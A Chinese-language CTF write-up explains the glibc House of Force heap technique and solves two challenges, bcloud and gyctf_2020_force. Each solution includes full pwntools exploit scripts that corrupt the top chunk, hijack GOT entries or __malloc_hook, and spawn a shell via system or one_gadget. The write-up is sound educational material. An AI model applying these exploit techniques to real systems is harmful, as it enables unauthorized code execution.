House of Force
House of Force
0x00 原理介紹
當申請的chunk足夠大,glibc在tcache和bins中都找不到匹配大小的時候,就會對top chunk進行分割,取出合適大小 、進行分配。House of Force作為一種堆利用方式,關鍵是利用溢位漏洞對top chunk的size進行改寫,讓size非常大,這樣top chunk的範圍包含了像.data和.bss這些資料段。這樣我們在申請chunk分配之後就可以有任意寫操作。
在匹配完空閒塊找不到合適之後,malloc機制會拿申請的chunk的大小與top chunk比較。
// 獲取當前的top chunk,並計算其對應的大小 victim = av->top; size = chunksize(victim); // 如果在分割之後,其大小仍然滿足 chunk 的最小大小,那麼就可以直接進行分割。 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); av->top = remainder; set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE); check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; }
當把size改為非常大時,我們申請任意一個比其小的,就可以繞過這個驗證。
一般會改size為-1,這樣儲存的形式是以補碼0xffffffffffffffff
的形式存在的,這就已經是非常大的了,不能再大了。如此驗證很輕鬆就繞過。
remainder = chunk_at_offset(victim, nb); av->top = remainder; /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))
隨著chunk的申請指標會不斷更新
所以,申請之後讓top chunk的指標指向target-0x10處,那麼再下一次分配我們將到達控制target的目的。
總之,house of force需要有兩個條件
- 利用漏洞使得 top chunk 的 size 域被改寫
- 可以申請 可控大小的chunk
0x01 bcloud
try
root@ubuntu20:~/hof# ./bcloud Input your name: ln Hey ln! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM! Now let's set synchronization options. Org: 1 Host: 1.1.1.1 OKay! Enjoy:) 1.New note 2.Show note 3.Edit note 4.Delete note 5.Syn 6.Quit option--->>
checksec
root@ubuntu20:~/hof# checksec bcloud
[*] '/root/hof/bcloud'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8047000)
RUNPATH: '/usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_i386'
0x02 虛擬碼分析
拖進ida,注意是32位,程式大概的功能:
1.new:輸入size,malloc大小為size+4的塊,儲存返回指標到ptr_array[i],儲存size大小到size_array[i],輸入內容,若建立成功,返回note的id,dword_804B0E0[idx]標誌置零
2.show:show函式只是個幌子,沒有用
3.edit:輸入id,根據輸入id從ptr_array[idx]取出對應的chunk指標,賦值給ptr,輸入內容,通過ptr重新修改,dword_804B0E0[idx]標誌置零
4.delete:輸入id,根據id找到chunk的正文指標賦給ptr,清空存放的指標還有size,再free chunk
5.sync_note:輸入id,把dword_804B0E0[idx]標誌置為1
6.input_name : 初始化緩衝區,輸入name,長度可以為64個位元組,申請一個0x40的chunk返回指標賦值給ptr,拷貝剛剛輸入的字串到chunk裡面,通過print ptr輸出chunk的內容。
0x03 漏洞利用
int __cdecl iread(int a1, int a2, char a3)
{
char buf; // [esp+1Bh] [ebp-Dh] BYREF
int i; // [esp+1Ch] [ebp-Ch]
for ( i = 0; i < a2; ++i )
{
if ( read(0, &buf, 1u) <= 0 )
exit(-1);
if ( buf == a3 )
break;
*(_BYTE *)(a1 + i) = buf;
}
*(_BYTE *)(i + a1) = 0;
return i;
}
iread函式是一個自定義的讀入字元的函式,但是這裡邊界沒有嚴格檢查,出現off-by-one漏洞,null byte overflow
0x04 洩露地址
在初始化input_name的時候,可以輸入64個字元恰好把ptr的低位元組覆蓋成\x00
,
char s[64];
char *ptr;
ptr在後面申請的chunk返回指標又會把這個\x00
給覆蓋掉,
ptr = (char *)malloc(0x40u);
造成原本的name沒有00結束符截斷,會把ptr這個指標一併拷貝給chunk,通過printf就可以洩露該地址,就是chunk的地址
code如下:
io.sendafter("Input your name:\n", 'a' * 0x40)
io.recvuntil('a' * 0x40)
chunk1_data_addr = u32(io.recvn(4))
log.info('chunk1_data_addr:0x%x' % chunk1_data_addr)
0x05 覆蓋修改top chunk頭
input_org_host函式幾個區域性變數在棧中的情況大概如下:
構造0x40*'X'
和0xffffffff+(0x40-4)*'Y'
分別對應輸入
再經過拷貝
strcpy(ptr2, t);
strcpy(ptr1, s);
code如下:
io.sendafter("Org:\n", 'X' * 0x40)
io.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'Y')
io.recvuntil("OKay! Enjoy:)\n")
就會出現如下的記憶體分佈情況:
此時,top chunk的size已經被改為0xffffffff
0x06 準確偏移到target
從之前溢位的chunk1的地址,加上偏移即可算出top chunk的地址
top_chunk_addr = chunk1_data_addr + 0xd0 (0x48-0x8+0x48+0x48)
選定儲存note指標的地方作為我們target
.bss: 0804B120 ptr_array
算出偏移,也就是即將申請的chunk大小,
evil_data_size = ptr_array - top_chunk_addr - 8 - 8
這樣在new出來evil之後,top chunk的頭部剛好落在ptr_array-0x8的位置,這樣再申請下一個chunk的正文部分必然落到ptr_array上
new_note(evil_data_size - 4, "") #-4呼應了虛擬碼的+4
0x07 洩露libc基地址,覆蓋got表項
注意:不可根據前面洩露的chunk的地址來算libc的基地址,因為heap和libc的偏移不是固定的。
這道題的RELRO
和PIE
保護都沒有開,所以可以改got表項
把free@got指向puts@plt,再用puts函式輸出printf@got的值也就是printf的地址,這樣就可以算libc的基地址
new_note(0x40, 'AA') #1
new_note(0x40, 'BB') #2
new_note(0x40, 'CC') #3
new_note(0x40, 'DD') #4
new_note(0x40, '/bin/sh') #5
edit_note(1, p32(0) + p32(ptr_array) + p32(free_got) + p32(printf_got))
edit_note(2, p32(puts_plt))
del_note(3)
printf_addr = u32(io.recv(4))
log.info('printf_addr: 0x%x',printf_addr)
libc_base = printf_addr - libc.sym["printf"]
log.info('libc_base addr:0x%x',libc_base)
system_addr = libc_base+ libc.symbols["system"]
log.info('system_addr:0x%x' % system_addr)
0x08 寫入system
按照洩露的思路,把free改成system
有如下code:
edit_note(2,p32(system_addr))
del_note(5)
io.interactive()
tips:不要動evil chunk
之前一開始想著,把id為0的改成free@got地址,再edit成system地址就好了
edit_note(1, p32(free_got)) edit_note(0, p32(system_addr))
但是出錯了
原因是id為0時的chunk,正是我們申請的evil chunk,他的size很大(0xfffff034),這就導致了edit的時
iread(ptr, size, 10)
出錯。所以要避開使用id=0的這個evil chunk
0x08完整exploit
# -*- coding: utf-8 -*-
from pwn import *
context.terminal = ['gnome-terminal','-x','sh','-c']
context.update(arch='i386', os='linux')
io = process('./bcloud')
libc = ELF("./libc-2.23.so")
def new_note(size, content):
io.sendlineafter('option--->>\n', '1')
io.sendlineafter("Input the length of the note content:\n", str(size))
io.sendlineafter("Input the content:\n", content)
io.recvline()
def edit_note(idx, content):
io.sendlineafter('option--->>\n', '3')
io.sendlineafter("Input the id:\n", str(idx))
io.sendlineafter("Input the new content:\n", content)
io.recvline()
def del_note(idx):
io.sendlineafter('option--->>\n', '4')
io.sendlineafter("Input the id:\n", str(idx))
ptr_array = 0x804b120
free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010
io.sendafter("Input your name:\n", 'a' * 0x40)
io.recvuntil('a' * 0x40)
chunk1_data_addr = u32(io.recvn(4))
log.info('chunk1_data_addr:0x%x' % chunk1_data_addr)
io.sendafter("Org:\n", 'X' * 0x40)
io.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'Y')
io.recvuntil("OKay! Enjoy:)\n")
top_chunk_addr = chunk1_data_addr + 0xd0
log.info('top_chunk_addr:'+str(hex(top_chunk_addr)))
evil_data_size = ptr_array - top_chunk_addr - 8 - 8
log.info('evil_data_size:'+ str(hex(evil_data_size)))
new_note(evil_data_size - 4, "") #0
new_note(0x40, 'AA') #1
new_note(0x40, 'BB') #2
new_note(0x40, 'CC') #3
new_note(0x40, 'DD') #4
new_note(0x40, '/bin/sh') #5
edit_note(1, p32(0) + p32(ptr_array) + p32(free_got) + p32(printf_got))
edit_note(2, p32(puts_plt))
del_note(3)
printf_addr = u32(io.recv(4))
log.info('printf_addr: 0x%x',printf_addr)
libc_base = printf_addr - libc.sym["printf"]
log.info('libc_base addr:0x%x',libc_base)
system_addr = libc_base+ libc.symbols["system"]
log.info('system_addr:0x%x' % system_addr)
pause()
edit_note(2,p32(system_addr))
del_note(5)
io.interactive()
總結:
有個之前忽略的地方,現在明白了,就是heap基地址和libc基地址的偏移不會是固定的,而vmmap和libc的基地址才是固定的。總體來說不是很難。
0x01 gyctf_2020_force
try
root@ubuntu20:~/hof# ./gyctf_2020_force
1:add
2:puts
1
size
32
bin addr 0x55555575c010
content
aa
done
1:add
2:puts
2
1:add
2:puts
checksec一下,保護全開
root@ubuntu20:~/hof# checksec gyctf_2020_force
[*] '/root/hof/gyctf_2020_force'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/'
0x02 虛擬碼分析
拉進ida64,程式的大概功能是:
1.輸入命令
2.add函式:輸入任意大小的size,根據size大小申請chunk並將返回的地址逐個存入ptr_array陣列中,然後把該指標地址輸出,再輸入最大0x50大小的內容
3.puts:puts函式puts同一個毫不相干的地址單元,沒有用處
0x03 漏洞利用
- add函式中
puts("size");
read(0, nptr, 0xFuLL);
size = atol(nptr);
*ptr_array = malloc(size);
if ( !*ptr_array )
exit(0);
printf("bin addr %p\n", *ptr_array);
puts("content");
read(0, (void *)*ptr_array, 0x50uLL);
由於size可控,便可申請小於0x50的chunk,讀入超過size的內容,造成溢位
可覆蓋top chunk頭部,造成house of force
0x04 洩露地址
申請一個足夠大的size,讓mmap來分配記憶體,返回的地址會被printf輸出,由於mmap和libc的基地址偏移是固定不變的,所以可以根據偏移可以算出libc的基地址
code如下:
libc_base = new(200000,'aa')-0x5b4010
log.info('libc base addr: 0x%x',libc_base)
0x05 覆蓋修改top chunk頭
根據前面的漏洞,我們可以申請一個0x20大小的chunk,然後輸入超過0x20大小的內容,修改topchunk的頭部
chunk_0 = new(0x20,'a'*0x20+p64(0)+p64(0xFFFFFFFFFFFFFFFF)) #top_chunk size
top_chunk = chunk_0 + 0x20
log.info('top_chunk addr: 0x%x',top_chunk)
0x06 準確偏移到target
由於程式保護全開,我們需要進行hook劫持
毫無疑問,malloc_hook將會是我們的target。
那就要讓top chunk的頭部跑到malloc_hook的前面0x10處這樣才會讓申請的下一個chunk的返回指標指向malloc_hook,然後我們往malloc_hook填入one_gadget,以此到達getshell目的。
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc.sym['__libc_realloc'] + libc_base
log.info('malloc_hook and libc_realloc addr: 0x%x,0x%x',malloc_hook,realloc)
size = malloc_hook - top_chunk - 0x10 #offset
0x07 realloc_hook微調棧幀 rsp
但是經過嘗試,4個one_gadget沒有一個能直接getshell;原因就是條件沒有符合
root@ubuntu20:~/hof# one_gadget /usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so
0x45206 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
要知道每一個libc的one_gadget能夠成功執行,都需要前提條件滿足就是上面的constrains。
這就涉及到利用realloc_hook微調rsp 來使得條件滿足。
大致的執行流程如下:
malloc_hook --> realloc_hook+0x10 --> realloc_hook --> onegadget
code如下:
new(size-0x20,b'a')
one_gadget = [0x45206,0x4525a,0xef9f4,0xf0897]
log.info('one_gadget addr: 0x%x',one_gadget[1]+libc_base)
new(0x10, 'a' * 0x8 + p64(one_gadget[1]+libc_base) + p64(realloc + 0x10))
pause()
p.sendlineafter('2:puts\n', '1')
p.sendlineafter('size\n', str(0x30))#執行malloc_hook -> realloc_hook+0x10->realloc_hook-> onegadget
p.interactive()
覆蓋malloc和realloc之前,記憶體情況如下:
覆蓋之後,執行情況如下:
0x08 完整的exploit
from pwn import *
p = process('./gyctf_2020_force')
elf = ELF('./gyctf_2020_force')
libc = elf.libc
def new(size, content):
p.sendlineafter('2:puts\n', '1')
p.sendlineafter('size\n', str(size))
p.recvuntil('addr ')
addr = int(p.recv(14), 16)
p.sendlineafter('content\n', content)
return addr
libc_base = new(200000,'aa')-0x5b8000-0x10
log.info('libc base addr: 0x%x',libc_base)
chunk_0 = new(0x20,'a'*0x20+p64(0)+p64(0xFFFFFFFFFFFFFFFF)) #top_chunk size
top_chunk = chunk_0 + 0x20
log.info('top_chunk addr: 0x%x',top_chunk)
pause()
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc.sym['__libc_realloc'] + libc_base
log.info('malloc_hook and libc_realloc addr: 0x%x,0x%x',malloc_hook,realloc)
size = malloc_hook - top_chunk - 0x10
new(size-0x20,b'a')
pause()
one_gadget = [0x45206,0x4525a,0xef9f4,0xf0897]
log.info('one_gadget addr: 0x%x',one_gadget[1]+libc_base)
#new(0x30,p64(one_gadget[2]+libc_base)+p64(0))
new(0x10, 'a' * 0x8 + p64(one_gadget[1]+libc_base) + p64(realloc + 0x10))
pause()
p.sendlineafter('2:puts\n', '1')
p.sendlineafter('size\n', str(0x30))
p.interactive()
總結
這道題有兩個關鍵,house of force自然不用說,一是mmap洩露地址,跟之前做過的Asis CTF 2016 b00ks洩露地址的姿勢是一樣的;二是在one_gadget條件不滿足的情況下,用realloc來微調rsp,使條件滿足。
house of force的精髓一是溢位修改top chunk頭
二是計算好target與超大top chunk的offset
三是分配,控制target